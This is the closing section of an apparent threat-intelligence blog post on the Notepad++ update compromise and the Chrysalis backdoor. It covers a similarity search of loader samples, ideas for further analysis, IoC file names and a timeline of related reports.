user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4472.114 Safari/537.36
loader 3 #
There are 3234 similar samples to loader 3 in our database. 1120 of these are newer than 2025-01-01. As the original loader 3 was uploaded to VirusTotal on 2025-03-27, we only processed these newer samples. None of them contained the string clipc.dll. There are 20 that used function NtQuerySystemInformation, we checked these manually but none of them contained similar code snippets as the one highlighted in the Rapid7 report.

Future work #
As mentioned in the Rapid7 analysis, the Chrysalis backdoor doesn't seem like a throwaway tool. It would be worth a research to replicate the attack sequence in a virtual environment, debug log.dll until BluetoothService shellcode is loaded, decrypted, jumped on and the main Chrysalis module is decrypted. At this stage, the decrypted module could be dumped from memory. A similarity search might produce additional variants from Kaibou, who knows. Hit me up if you are interested: csongor.tamas@ukatemi.com
The NSIS installer containing everything can be downloaded from MalwareBazaar
If you are interested in getting access to Kaibou Search Services and the 800+ million files within, reach out at kss@ukatemi.com.
IoCs #
hostinger-files.csv
hostinger-ips.txt
kaspersky-files.csv
kaspersky-urls.txt
rapid7-files.csv
rapid7-urls.txt
ukatemi-files.csv
ukatemi-urls.txt
Links #
2025-10-23: Notepad++ forum post about suspicious update activity
2025-11-30: wingup commit to add signature verification
2025-12-01: Notepad++ commit to add signature verification
2025-12-09: Notepad++ announcement about vulnerability fix
2025-12-09: Notepad++ v8.8.9 update includes vulnerability fix
2026-02-02: Notepad++ post announcing the incident
2026-02-05: IoCs from Hostinger
2026-02-02: Rapid7 blog about malicious toolkit used during the attack
2026-02-03: Kaspersky reports what they uncovered from their telemetry
2026-02-03: Validin about the C2 infrastructure
2026-02-03: Hostinger report about the incident
2026-02-04: Blog by Costin Raiu
- Previous post: Phantom Taurus related samples